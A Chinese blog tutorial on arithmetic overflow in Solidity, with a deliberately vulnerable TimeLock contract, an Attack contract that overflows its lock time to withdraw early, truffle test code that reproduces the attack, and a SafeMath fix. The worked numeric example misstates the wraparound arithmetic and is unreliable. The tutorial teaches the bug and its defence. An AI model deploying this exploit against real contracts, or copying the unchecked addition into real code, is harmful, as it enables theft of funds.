算术溢出 Arithmetic Overflow and Underflow

2023-12-10T18:08:00

   算术溢出(arithmetic overflow)或简称为溢出(overflow) 分为两种:上溢和下溢。所谓上溢是指在运行单项数值计算时,当计算产生出来的结果非常大,大于寄存器或存储器所能存储或表示的能力限制就会产生上溢,例如在 solidity 中,uint8 所能表示的范围是 0 - 255256 个数,当使用 uint8 类型在实际运算中计算 255 + 1 是会出现上溢的,这样计算出来的结果为 0 也就是 uint8类型可表示的最小值。同样的,下溢就是当计算产生出来的结果非常小,小于寄存器或存储器所能存储或表示的能力限制就会产生下溢。例如在 Solidity 中,当使用 uint8 类型计算 0 - 1 时就会产生下溢,这样计算出来的值为 255 也就是 uint8 类型可表示的最大值。
  如果一个合约有溢出漏洞的话会导致计算的实际结果和预期的结果产生非常大的差异,这样轻则会影响合约的正常逻辑,重则会导致合约中的资金丢失。但是溢出漏洞是存在版本限制的,在 Solidity < 0.8 时溢出不会报错,当 Solidity >= 0.8 时溢出会报错。所以当我们看到 0.8 版本以下的合约时,就要注意这个合约可能出现溢出问题。

漏洞代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract TimeLock {
  mapping(address => uint) public balances;
  mapping(address => uint) public lockTime;
  function deposit() external payable {
    balances[msg.sender] += msg.value;
    lockTime[msg.sender] = block.timestamp + 1 weeks;
  }

  function increaseLockTime(uint _secondsToIncrease) public {
    lockTime[msg.sender] += _secondsToIncrease;
  }
  function withdraw() public {
    require(balances[msg.sender] > 0, "Insufficient funds");
    require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

    uint amount = balances[msg.sender];
    balances[msg.sender] = 0;

    (bool sent, ) = msg.sender.call{value: amount}("");
    require(sent, "Failed to send Ether");
  }
}

问题分析

这个合约类似重入(Re-Entrancy)的合约,不过是已经修复过的(可以先看 重入攻击 Re-Entrancy 合约在看这个理解更快),在此基础上添加了一个 lockTime mapping deposit方法中可以看到在转账后,在用户的lockTime更新重置了一个星期的时间戳;这个合约还新增一个increaseLockTime方法有个类型为uint的传入值,在原先lockTime 的基础上累加了一个传入值;这里就可以看出问题,这个方法可以外部调用没有做权限隔离,累加时并没有进行校验是否溢出,并且这个合约是 pragma solidity ^0.7.6;下面withdraw没有太大变化,多了一个require(block.timestamp > lockTime[msg.sender], "Lock time not expired");判断如果lockTime的时间戳大于当前区块链时间将无法交易,这就是个时间锁。
可以看出通过increaseLockTime方法就可以绕过withdraw方法中的block.timestamp > lockTime[msg.sender]的判断,从而在时间未到时取出余额;

攻击代码

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

  基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的TimeLock合约地址,在attack方法中调用TimeLockdeposit方法,并向合约存入对应的value余额(这个时候按照合约逻辑,存入余额的账户已经被时间锁上锁了,无法取出余额),下面调用timeLock合约的 increaseLockTime方法,传入值为 :
    uint类型的最大值 + 1 - 用户当前的lockTime值
这里获取uint最大值加上1再减去用户lockTime值的结果传入到increaseLockTime方法进行累加操作得出的结果正好为0
  例如:
    lockTime = 30
    uint最大值为 = 256
    传入值 = uint最大值 +1 - lockTime
        = 256 + 1 - 30
        = 227

    increaseLockTime 方法
    lockTime += 传入值
    转换为 lockTime = lockTime + 传入值
            = 30 + 227
            =257
    257 触发溢出 变为 0

{hide}

攻击复现

执行步骤

1、创建项目文件夹,并在文件夹中初始化truffle项目

truffle init

2、将EtherStore.sol合约导入
3、在migrations文件夹下创建合约迁移文件

const TimeLock = artifacts.require("TimeLock");
const Attack = artifacts.require("Attack");

module.exports = async function(deployer,network,accounts){
    await deployer.deploy(TimeLock);
    await deployer.deploy(Attack,TimeLock.address);
}

4、在test文件夹下编写测试代码

const TimeLock = artifacts.require("TimeLock");
const Attack = artifacts.require("Attack");

contract("Test TimeLock" ,async(accounts)=>{
    it("Attack TimeLock" ,async ()=>{
        let TimeLockD = await TimeLock.deployed();
        let AttackD = await Attack.deployed();
        await AttackD.attack({value:1,from:accounts[0]});
        assert.equal(0,0,"Attack Success");
    })
})

这里写了个样例代码,步骤意思为:
  1)【1-2行】引入合约。
  2)【4-5行】创建测试合约组和单项测试用例。
  3)【 6 行】部署TimeLock合约(可以不写没有实际作用)。
  4)【 7 行】部署Attack合约。
  5)【 8 行】调用Attack合约的attack方法,需要传入value余额数和指定调用账户。
  6)【 9 行】(没有任何作用,在此之前失败会触发回滚)。
这个合约的测试只需要调用即可,其他没有要写的东西(攻击失败会触发回滚)

5、运行truffle测试

truffle test

结果


这里只要交易未被回滚即代表攻击成功。

漏洞修补

本文的合约在increaseLockTime方法中要对累加的数据进行筛查,以防止uint溢出(上溢)问题,可以使用公用的safeMath库,里面内置的了对算数的过滤方法,或者自己写一个加法过滤。

contract SafeMath {
  function safeMul(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }
 
  function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
    assert(b > 0);
    uint256 c = a / b;
    assert(a == b * c + a % b);
    return c;
  }
 
  function safeSub(uint256 a, uint256 b) internal returns (uint256) {
    assert(b <= a);
    return a - b;
  }
 
  function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a + b;
    assert(c>=a && c>=b);
    return c;
  }
}

逻辑很简单对传入的数进行很简单的运算逻辑过滤,和溢出判断。

修补过程

1、创建一个方法或者类似safeMath的合约,这里是在其他合约中定义的过滤方法。

2、修改increaseLockTime方法的逻辑代码,让累加数据通过第一步编写的方法进行累加过滤

3、执行测试

触发交易回滚,攻击失败

项目文件

{abtn icon="fa-cloud-download" color="#2e7fff" href="https://blog.dfcraft.cn/usr/uploads/2023/12/2457230241.tar" radius="5px" content="项目下载"/}

参考文章

{card-list}
{card-list-item}
智能合约安全审计入门篇——溢出漏洞 | 登链社区 | 区块链技术社区
{/card-list-item}
{card-list-item}
Solidity by Example
{/card-list-item}
{/card-list}
{/hide}

当前页面是本站的「Baidu MIP」版。发表评论请点击:完整版 »